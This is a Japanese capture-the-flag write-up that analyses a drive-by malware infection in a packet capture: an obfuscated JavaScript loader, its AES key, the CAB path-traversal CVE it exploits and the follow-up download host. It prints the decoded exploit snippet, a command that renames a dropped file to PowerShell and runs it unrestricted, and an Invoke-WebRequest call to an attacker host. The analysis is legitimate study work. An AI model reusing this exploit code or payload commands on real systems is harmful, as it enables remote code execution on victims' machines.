---
# System prepended metadata

title: MWSのアレ

---

# MWSのアレ
# 問題
1. 脆弱性を悪用してマルウェアを実行しようとするJavaScriptコードをホスティングしているサーバのドメインはなんですか？回答は `MWSCup{ドメイン}` の形式で答えてください。例えば回答が `http://example.com/test.js` であれば MWSCup{example.com} となります。
2. 脆弱性を悪用してマルウェアを実行しようとするJavaScriptコードには、AES-128-CBCでデータを復号する処理が存在します。復号に使用した暗号鍵を16進数の形式で回答してください。例えば回答が `b529ee9440e427b8` であれば `MWSCup{b529ee9440e427b8}` となります。
3. 悪用された脆弱性のCVE番号はなんですか？回答は `MWSCup{CVE番号}` の形式で答えてください。例えば、回答が `CVE-2016-0189` であれば `MWSCup{CVE-2016-0189}` となります。
4. 脆弱性を悪用された後に発生したと考えられる通信のドメインはなんですか？回答は `MWSCup{ドメイン}` の形式で答えてください。例えば回答が `http://example.com/test.js` であれば `MWSCup{example.com}` となります。
# Q1
- とりあえず怪しそうなやつを探す
    - `*.js` の名前を検索して目視で探す
        - 無いわ
    - Content-Typeでソートして目視でみていく
        - `application/javascript` で怪しそうなのなし
        - よく分からんけど上からContent-Type見てたら `application/vnd.ms-cab-compressed` とかいう見たことのないやつがある
            - `cdn.cabinek.com` ってなんやねん
                - ググったけど何も検索結果に出なかったのでこのリクエストを黒として周囲を探し始める
- `wiki.augma.org` 起点のリクエストが怪しい
    - これそもそもWikipediaの内容だよね
    - augmaだし
    - 広告でiframe呼び出されて、リダイレクトしてとなってる
- `http://cdn.cabinek.com/filter?u=gqFUxBaCoVTX|0SQXRxhObJJoVOmNTQ2NTk1oVPEOE8EodxoPk9LnQzFvBmuoTqySvjhz6jNzLMWjty|wc1Jslt20zMiBWQpi7WFizTpGpRXwyrZ0V71` が明らかに怪しいjsを実行してる
    - 最悪なjsになっていてやる気をなくした
        1. atob
        2. 分割した文字列から数字を除去した文字列をparseIntしてcharCodeとして扱って連結
        3. 文字列リテラルにバイトを突っ込むな（真面目に追うの馬鹿らしくなってきたのでevalを置き換えた）
        4. minifyっぽい（これもevalを置き換えた）
            - AES呼び出してんじゃんキレそう
            - はーやってられんわ
            - 今問題見直したら問2に入ってたのでここで中断する

Flag: `MWSCup{cdn.cabinek.com}`
(大体40分ほど）

# Q2
- 生活リズムぶっ壊れてるからクソ眠い
- CryptoJSってどのライブラリなんや
    - リクエスト見たけど外部ライブラリ読んでないじゃん
    - よく読んだらビルトインしてたわ
    - よく分からんけど多分これと一緒やろ
        - https://qiita.com/haoyu_ma/items/3de99f59dd82e94231a9
    - グローバル変数のkeyをdecryptの第2引数に入れてるからまぁよく分からんけどこれやろ
        - `var key = "fdaa292aa7384a52";`

Flag: `MWSCup{fdaa292aa7384a52}`
（大体10分）

# Q3
- 悪用されたCVEとか知らんが
- CyberChefが腐っててAESをDecryptできませんもうダメです
- DbDとか言うやつではIEでしか動かないケースもあると聞いたのでIEでなんとかします
    - なんか動いたわ
        ```javascript
        var obj_0 = document.createElement("object");
        obj_0.setAttribute("codebase", window.location.origin + "/CbsPersist_2021092108498.cab#version=5,0,0,0");
        obj_0.setAttribute("classid", "CLSID:edbc374c-5730-432a-b5b8-de94f0b57210");var obj_1 = document.createElement("object");
        obj_1.setAttribute("codebase", window.location.origin + "/KB5005565.cab#version=5,0,0,0");
        obj_1.setAttribute("classid", "CLSID:edbc374c-5730-432a-b5b8-de94f0b57211");setTimeout(function() {
            var i = document.createElement("iframe");
            document.documentElement.appendChild(i);
            i.src = ".cpl:../../../AppData/Local/Temp/runner.inf";
        }, 3000);

        ```
- あれ、そうするとkeyとか違う可能性無い？
    - 合ってたわ
- 頭が悪いので `windows cab exploit` でググった
    - https://www.zerodayinitiative.com/blog/2020/7/8/cve-2020-1300-remote-code-execution-through-microsoft-windows-cab-files
    - ふーん
    - `../../../../../../some_file_name` のところ `.cpl:../../../AppData/Local/Temp/runner.inf` に似てるよね
    - よく分からんけど `cab file structure` で調べたらトラクター出てきたわ
        - `https://www.babbittsonline.com/oemcatalogs/p/all/kawasaki_accessories-cabs_doors_interior/508c9f05f870022da4c1b906/cab-structure`
    - そもそもinfファイルって何
        - `https://www.tohoho-web.com/lng/200001/00010414.htm`
        - 古のインターネットによるとinfファイルを含むcabファイルはインストーラーとして実行されてたらしい
- まぁ実行されるメカニズムはよく分からんけどとりあえずこれを回答にして出しておこう

Flag: `MWSCup{CVE-2020-1300}`
（大体50分）

# Q4
- メカニズム分からんけど出しちゃおｗと思ったけど、分からんとこれできないやん
    - カス
- よく分からんけどきっと実行ファイルがあるんやろ
    - よく分からんのでとりあえず古のCTFプレーヤー御用達010 Editorを登場させた
    - 該当箇所をexportできたけど `system("C:\\Windows\\System32\\cmd.exe /c rename %temp%\\main.inf main.ps1 && powershell -NoProfile -ExecutionPolicy Unrestricted %temp%\\main.ps1")` 以上の情報が分からん
    - `main.inf` どこにおんねん
    - `CbsPersist_2021092108498.cab` さんのことを忘れていた
        - お前はいつもそう
- Invoke-WebRequestしてるしそういうことで良さそう
    - `Invoke-WebRequest("http://www.secretgraffiti.com/go")`

Flag: `MWSCup{www.secretgraffiti.com}`
（大体30分）